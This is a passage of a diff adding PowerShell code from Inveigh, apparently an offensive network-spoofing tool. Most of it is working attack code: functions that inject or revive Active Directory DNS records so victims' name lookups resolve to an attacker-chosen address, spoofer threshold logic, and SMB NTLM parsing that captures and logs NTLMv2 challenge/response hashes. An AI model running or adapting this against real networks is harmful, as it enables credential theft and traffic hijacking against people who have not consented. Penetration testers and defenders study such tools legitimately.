disabled]" + } + elseif(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost) + { + $response_message = "[SpooferThresholdHost >= $(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count)]" + } + elseif(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork) + { + $response_message = "[SpooferThresholdNetwork >= $(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count)]" + } + elseif($QueryString -notmatch '[^\x00-\x7F]+') + { + $response_message = "[nonprintable characters]" + } + else + { + $response_message = "[something went wrong]" + $response_type = "[-]" + } + + return $response_type,$response_message + } + + function Get-NBNSQueryType([String]$NBNSQueryType) + { + + switch ($NBNSQueryType) + { + + '41-41' + { + $NBNS_query_type = "00" + } + + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + return $NBNS_query_type + } + + function ConvertFrom-PacketOrderedDictionary + { + param($packet_ordered_dictionary) + + foreach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped, + $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerate.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution + + return $relay_object + } + + function Invoke-SessionUpdate + { + param ([String]$domain,[String]$username,[String]$hostname,[String]$IP) + + if($inveigh.domain_mapping_table.$domain) + { + $session = ($username + "@" + $inveigh.domain_mapping_table.$domain).ToUpper() + $hostname_full = ($hostname + "." + $inveigh.domain_mapping_table.$domain).ToUpper() + } + else + { + $session = $domain + "\" + $username + } + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].Hostname -eq $hostname_full -or $inveigh.enumerate[$i].IP -eq $IP) + { + + if(!$inveigh.enumerate[$i].Hostname) + { + $inveigh.enumerate[$target_index].Hostname = $hostname_full + } + + [Array]$session_list = $inveigh.enumerate[$i].Sessions + + if($inveigh.domain_mapping_table.$domain) + { + + for($j = 0;$j -lt $session_list.Count;$j++) + { + + if($session_list[$j] -like "$domain\*") + { + $session_username = ($session_list[$j].Split("\"))[1] + $session_update = $session_username + "@" + $inveigh.domain_mapping_table.$domain + $session_list[$j] += $session_update + $inveigh.enumerate[$i].Sessions = $session_list + } + + } + + } + + if($session_list -notcontains $session) + { + $session_list += $session + $inveigh.enumerate[$i].Sessions = $session_list + } + + $target_updated = $true + break + } + + } + + if(!$target_updated) + { + $inveigh.enumerate.Add((New-RelayEnumObject -IP $IP -Hostname $hostname_full -Sessions $session)) > $null + } + + } + +} + +# ADIDNS Functions ScriptBlock +$ADIDNS_functions_scriptblock = +{ + + function Disable-ADIDNSNode + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone + + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + foreach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + $timestamp = [Int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks) + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + + [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 + + $SOASerialNumberArray[0..3] + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $timestamp + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNS_record) + $directory_entry.InvokeSet('dnsTombstoned',$true) + $directory_entry.SetInfo() + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS node $Node tombstoned in $Zone") > $null + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + } + + function Enable-ADIDNSNode + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + foreach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + [Byte[]]$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -TTL $TTL -Zone $Zone + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.InvokeSet('dnsRecord',$DNSRecord) + $directory_entry.SetInfo() + $success = $true + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null; + + if($inveigh.ADIDNS -eq 'Combo') + { + $inveigh.ADIDNS_table.$Node = "1" + } + + } + catch + { + $success = $false + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + + if($inveigh.ADIDNS -eq 'Combo') + { + $inveigh.ADIDNS_table.$Node = "0" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $success + } + + function Get-ADIDNSNodeTombstoned + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + foreach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') + $dnsRecord = $directory_entry.InvokeGet('dnsRecord') + } + catch + { + + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and + $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + $node_tombstoned = $false + + if($dnsTombstoned -and $dnsRecord) + { + + if($dnsRecord[0].GetType().name -eq [Byte]) + { + + if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) + { + $node_tombstoned = $true + } + + } + + } + + return $node_tombstoned + } + + function New-ADIDNSNode + { + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Type, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$TTL, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + $DC_array = $Domain.Split(".") + + foreach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + [Byte[]]$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -TTL $TTL -Zone $Zone + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $forest_array = $Forest.Split(".") + + foreach($DC in $forest_array) + { + $object_category += ",DC=$DC" + } + + try + { + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null + $connection.SendRequest($request) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null + $output = $true + + if($inveigh.ADIDNS -eq 'Combo') + { + $inveigh.ADIDNS_table.$Node = "1" + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $output = $false + + if($_.Exception.Message -ne 'Exception calling "SendRequest" with "1" argument(s): "The object exists."') + { + $inveigh.ADIDNS = $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + if($inveigh.ADIDNS -eq 'Combo') + { + $inveigh.ADIDNS_table.$Node = "0" + } + + } + + return $output + } + + function New-SOASerialNumberArray + { + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone + ) + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + foreach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + foreach($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + $inveigh.output_queue.Add("[-] $Zone SOA record not found") > $null + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + 1 + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + $inveigh.output_queue.Add("[-] $DomainController did not respond on TCP port 53") > $null + } + + return [Byte[]]$SOA_serial_number_array + } + + function New-DNSRecordArray + { + [CmdletBinding()] + [OutputType([Byte[]])] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone + + function New-DNSNameArray + { + param([String]$Name) - if($inveigh.log_output) + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + foreach($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + switch ($Type) + { + + 'A' + { + [Byte[]]$DNS_type = 0x01,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'AAAA' + { + [Byte[]]$DNS_type = 0x1c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'CNAME' + { + [Byte[]]$DNS_type = 0x05,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'DNAME' + { + [Byte[]]$DNS_type = 0x27,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'MX' + { + [Byte[]]$DNS_type = 0x0f,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'NS' + { + [Byte[]]$DNS_type = 0x02,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'PTR' + { + [Byte[]]$DNS_type = 0x0c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'SRV' + { + [Byte[]]$DNS_type = 0x21,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'TXT' + { + [Byte[]]$DNS_type = 0x10,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] + [Byte[]]$DNS_data = $Data.Length + $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) + } + + } + + [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) + [Byte[]]$DNS_record = $DNS_length + + $DNS_type + + 0x05,0xF0,0x00,0x00 + + $SOASerialNumberArray[0..3] + + $DNS_TTL[3..0] + + 0x00,0x00,0x00,0x00 + + if($Static) + { + $DNS_record += 0x00,0x00,0x00,0x00 + } + else + { + $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + $timestamp = $timestamp[0..3] + $DNS_record += $timestamp + } + + $DNS_record += $DNS_data + + return ,$DNS_record + } + + function Invoke-ADIDNSSpoofer + { + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)]$Partition, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$TTL, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + try + { + $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone + + if($inveigh.ADIDNS -and !$node_added) + { + $node_tombstoned = Get-ADIDNSNodeTombstoned -Credential $Credential -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -Zone $Zone + + if($node_tombstoned) + { + Enable-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone + } + + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS spoofer disabled due to error") > $null + $inveigh.ADIDNS = $null + } + + } + + function Invoke-ADIDNSCheck + { + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][Array]$Ignore, + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, + [parameter(Mandatory=$false)]$Partition, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Threshold, + [parameter(Mandatory=$false)][Int]$TTL, + [parameter(Mandatory=$false)]$RequestTable, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential + ) + + Start-Sleep -S 1 + + foreach($request in $RequestTable.Keys) + { + + if(($RequestTable.$request | Sort-Object -Unique).Count -gt $Threshold) + { + + if(!$inveigh.ADIDNS_table.ContainsKey($request)) + { + $inveigh.ADIDNS_table.Add($request,"") + } + + if($Ignore -NotContains $request -and !$inveigh.ADIDNS_table.$request) + { + Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $request -Partition $Partition -TTL $TTL -Zone $Zone + } + elseif($Ignore -Contains $request) + { + + if(!$inveigh.ADIDNS_table.$request) { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS combo attack ignored $request") > $null + $inveigh.ADIDNS_table.$request = 3 } - $inveigh.NTLMv2_list.Add($NTLMv2_hash) + } + + } + + Start-Sleep -m 10 + } + + } + +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response +$SMB_NTLM_functions_scriptblock = +{ + + function Get-SMBConnection + { + param ([Byte[]]$Payload,[String]$IP,[String]$SourceIP,[String]$SourcePort,[String]$Port) + + $payload_converted = [System.BitConverter]::ToString($Payload) + $payload_converted = $payload_converted -replace "-","" + $session = "$SourceIP`:$SourcePort" + $SMB_index = $payload_converted.IndexOf("FF534D42") + + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72" -and ($IP -ne $SourceIP)) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null + } + + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0) + { + $inveigh.SMB_session_table.Add($Session,"") + } + + $SMB_index = $payload_converted.IndexOf("FE534D42") + + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000" -and ($IP -ne $SourceIP)) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null + } + + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0) + { + $inveigh.SMB_session_table.Add($Session,"") + } + + } + + function Get-SMBNTLMChallenge + { + param ([Byte[]]$Payload) + + $payload_converted = [System.BitConverter]::ToString($Payload) + $payload_converted = $payload_converted -replace "-","" + $NTLM_index = $payload_converted.IndexOf("4E544C4D53535000") + + if($payload_converted.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload_converted.SubString(($NTLM_index + 48),16) + } + + $target_name_length = Get-UInt16DataLength (($NTLM_index + 24) / 2) $Payload + $negotiate_flags = [System.Convert]::ToInt16(($payload_converted.SubString(($NTLM_index + 44),2)),16) + $negotiate_flags = [Convert]::ToString($negotiate_flags,2) + $target_info_flag = $negotiate_flags.SubString(0,1) + + if($target_info_flag -eq 1) + { + $target_info_index = ($NTLM_index + 80) / 2 + $target_info_index = $target_info_index + $target_name_length + 16 + $target_info_item_type = $Payload[$target_info_index] + $i = 0 + + while($target_info_item_type -ne 0 -and $i -lt 10) + { + $target_info_item_length = Get-UInt16DataLength ($target_info_index + 2) $Payload + + switch($target_info_item_type) + { + + 2 + { + $netBIOS_domain_name = Convert-DataToString ($target_info_index + 4) $target_info_item_length $Payload + } + + 